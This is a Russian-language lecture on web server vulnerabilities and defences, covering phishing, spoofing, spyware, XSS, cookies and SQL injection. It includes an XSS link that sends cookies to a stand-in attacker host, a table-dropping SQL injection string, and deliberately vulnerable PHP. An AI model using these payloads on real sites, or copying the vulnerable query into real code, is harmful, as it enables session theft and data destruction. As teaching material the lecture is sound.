Уязвимости web-приложений и обеспечение их безопасности
В данной лекции рассматриваются некоторые наиболее распространенные уязвимости веб-серверов и методы, противодействующие использованию данных уязвимостей.
В последние годы число атак, нацеленных на веб-сервера, значительно возросло. Веб-серверы особенно уязвимы в силу своей открытости, поскольку рассчитаны на обмен информацией с пользователями.
Веб-сервер формируется несколькими слоями ПО (рис.19.1), каждый из которых подвержен разнообразным способам атаки
Обеспечение безопасности операционной системы реализуется путем установления последних обновлений системы безопасности, регулярно выпускаемых разработчиками этой ОС.
Также следует вовремя обновлять все программное обеспечение, работающее на веб-сервере. Любое ПО, не относящееся к необходимым компонентам (например, DNS -сервер либо средства удаленного администрирования наподобие VNC или служб удаленных рабочих столов), следует отключить или удалить.
Использование антивирусного ПО является обязательным требованием для любого веб-сервера вне зависимости от операционной системы, используемой в качестве платформы. В сочетании с гибким межсетевым экраном антивирусное ПО становится одним из самых эффективных способов защиты от угроз безопасности. Когда веб-сервер становится целью атаки, злоумышленник без промедления пытается загрузить инструменты взлома или вредоносное ПО, чтобы успеть использовать уязвимость системы безопасности до того, как она будет закрыта. При отсутствии качественного антивирусного пакета уязвимость системы безопасности может долгое время оставаться незамеченной.
Атаки веб-серверов можно разделить на две категории: локальные и глобальные.
Локальные атаки обычно направлены на кражу информации или перехват управления на отдельном веб-сервере.
Глобальные атаки обычно направлены на несколько веб-сайтов и ставят своей целью заражение всех их посетителей.
Наиболее опасные виды сетевых атак
Фишинг ( phishing ) - вид атаки, который начинается с рассылки почтовых сообщений, содержащих ссылку на известный ресурс (или имитирующий такую ссылку). Дизайн веб-страницы обычно копируется с воспроизводимого ресурса. На фальсифицируемой странице может быть, например, написано, что банк, где вы имеете счет, проводит акцию по проверке безопасности доступа, при этом предлагается ввести номер вашей кредитной карты и PIN -код. После ввода указанной информации, выводится сообщение о том, что все в порядке, а через некоторое время со счета пропадают деньги. Данная схема может быть использована не только для хищения денег. Получив доступ к аккаунту пользователя, злоумышленники получают тем самым доступ к его конфиденциальной информации.
Социальная инженерия - это метод несанкционированного доступа к информации или системам хранения информации без использования технических средств. Метод основан на использовании слабостей человеческого фактора и считается очень разрушительным. Злоумышленник получает информацию, например, путем сбора информации о служащих объекта атаки, с помощью обычного телефонного звонка или путем проникновения в организацию под видом ее служащего.
Scam - мошеннический трюк, заключающийся в том, чтобы, ссылаясь на авторитетных лиц, втереться в доверие и извлечь коммерческую выгоду.
Одним из возможных средств атак является использование IDN (International Domain Name) . Дело в том, что в системах, поддерживающих IDN, допускается использование букв национальных алфавитов, а, например, некоторые буквы латинского и русского алфавитов пишутся идентично. Этим могут воспользоваться злоумышленники, они могут зарегистрировать имена, которые выглядит как имена известной фирмы, например microsoft.com, где некоторые буквы заменены на русские, так что это внешне не заметно, например, буквы с или о. Тогда при ошибочной замене одной или нескольких букв на русские клиент попадет не на сайт компании Microsoft, а на внешне неотличимый от него сайт злоумышленника.
Спуфинг ( spoofing ) - одна из разновидностей фишинга. Ее суть заключается в атаке через DNS (или каким-то иным способом), когда страница с известным URL подменяется страницей злоумышленника.
Троянский конь ( Spyware ) - программа, записывающая все нажатия клавиш на терминале или мышке, способна записывать screenshot'ы и передавать эти данные удаленному хозяину.
Spyware. Эта разновидность программ не обязательно вредоносна. Некоторые разработчики ПО встраивают такие программы в свои продукты, чтобы отслеживать предпочтения своих клиентов. К сожалению, не все эти программы столь безобидны. Некоторые программы spyware в соответствии со своим названием отслеживают действия хозяина машины, куда эта программа внедрена (нажатия клавиш, посещаемые сайты, конфиденциальную информацию и т.д.) и передают результаты своему хозяину. Заражение spyware может осуществиться традиционно через почту, IM (Instant Messaging) или в результате посещения скомпрометированного сайта.
Атаки на веб-серверы
Легальные WEB -серверы взламываются посредством следующих видов атак:
- SQL-Injection
- Вредоносной рекламы
- Методом переадресации результатов работы поискового сервера
- Через виртуальные хостинговые компании
- Через уязвимости программ, обслуживающих форумы
- Cross-site scripting
Одним из основных инструментов вторжения в последнее время стала атака типа " drive-by download " (загрузка файлов или скриптов без ведома хозяина). Разнообразие мультимедиа форматов также облегчает работу хакеров. Ведь пользователя обычно не удивляет необходимость загрузки новейшей версии кодека или драйвера для просмотра или прослушивания материала, размещенного на удаленном сервере.
Cross-Site Scripting (CSS) является одной из наиболее широко распространенных сетевых атак, преследующих цель, получение персональных данных с помощью веб-технологий (иногда этот вид атаки называют " HTML injection "). Задача решается за счет выполнения определенного Javascript кода в браузере жертвы. При этом получается некоторая информация, содержащаяся на машине жертвы (например, cookies ). Метод не наносит непосредственного вреда, но может предшествовать более серьезной атаке.
Вредоносной может быть ссылка с использованием уязвимого веб-сайта:
http://www.vulnerable.site/welcome.cgi?name=<script>window.open ("http://www.attacker.site/collect.cgi?cookie="%2Bdocument.cookie)</script>
Страница же отклика должна иметь вид (как результат исполнения wellcome.cgi ):
<HTML> <Title>Welcome!</Title> Hi <script> window.open("http://www.attacker.site/collect.cgi?cookie="+document.cookie) </script> <BR> Welcome to our system ... </HTML>
Браузер немедленно при загрузке этой страницы исполнит встроенный Javascript код и пошлет запрос " collect.cgi script " по адресу www.attacker.site, со значением cookies =www.vulnerable.site. Cookies могут также содержать аутентификационные и авторизационные данные, что представляет уже серьезную опасность.
Файлы cookie
Большинство браузеров поддерживают два метода, которые веб-приложения могут использовать для сохранения информации о запросах клиентов: обычные файлы cookie и файлы cookie сеанса.
Файл cookie - это небольшой файл, создаваемый браузером и хранящийся на компьютере пользователя. Его содержимое не регламентируется, но обычно в таких файлах хранится название, дата окончания срока действия и некий объем данных, например: " Visited = 36 " или " Selected = true ".
Файл cookie сеанса позволяет веб-приложениям хранить данные в памяти.
Различие между двумя методами заключается в том, что обычный файл cookie сохраняется на компьютере пользователя и остается на нем до момента удаления пользователем. Файл cookie сеанса, напротив, хранится только на протяжении времени работы компьютера и автоматически теряется при закрытии приложения-браузера. При этом оба файла подвержены манипуляциям извне.
В отношении файлов cookie необходимо стремится ограничить объем данных, сохраняемых в них, в особенности тогда, когда эти данные не следует хранить в открытом доступе. Оптимальный подход - считать все данные, хранящиеся на компьютере пользователя, ненадежными.
SQL-инъекция
SQL -инъекция используется для атаки веб-сайтов, работающих с базами данных. Возможность внедрения SQL -кода возникает, если в SQL-запросах используются неотфильтрованные данные, вводимые пользователями.
Многие современные веб-сайты используют сценарии и SQL -запросы для динамического формирования содержимого страницы. В SQL -запросах часто используются данные, вводимые пользователями; это может привести к угрозе безопасности, поскольку злоумышленники могут попытаться внедрить во входные данные вредоносный SQL -код. Без надлежащих мер защиты такой код может быть успешно выполнен на сервере.
Рассмотрим следующий PHP -код:
$firstname = $_POST["firstname"]; mysql_query("SELECT * FROM users WHERE first_name='$firstname'");
После того, как пользователь введет свое имя в веб-форме, SQL -запрос вернет список всех пользователей с тем же именем. Если указать в форме имя " John ", то SQL -запрос будет иметь следующий вид:
"SELECT * FROM users WHERE first_name='John'"
Это допустимая конструкция, которая сработает так, как и ожидается. Однако, если вместо имени ввести, например, "'; drop table users; #", то конструкция будет выглядеть следующим образом:
"SELECT * FROM users WHERE first_name=''; DROP TABLE users; #'"
Точка с запятой позволяет выполнять несколько следующих друг за другом команд. В результате простая SQL -команда превращается в сложную трехсоставную конструкцию:
SELECT * FROM users WHERE first_name='';
Исходная инструкция теперь бесполезна - ее можно пропустить. Вторая инструкция приведет к тому, что в базе данных будет целиком удалена соответствующая таблица, а стоящий в третьей строке символ "#" приведет к тому, что СУБД проигнорирует оставшуюся часть строки (как часть комментария) без выдачи сообщений о синтаксической ошибки в запросе.
Приведенная в примере уязвимость особенно опасна, поскольку ее можно использовать для вывода закрытых данных, изменения отдельных полей или удаления информации. Некоторые СУБД также позволяют выполнять системные команды с помощью SQL.
В принципе, этот вид угрозы легко устраним благодаря проверке вводимых пользователем данных. Например, в PHP имеется специальная функция mysql_real_escape_string, удаляющая из строки потенциальный код SQL -инъекции. Ее следует использовать для фильтрации всех данных, внедряемых в SQL -инструкции.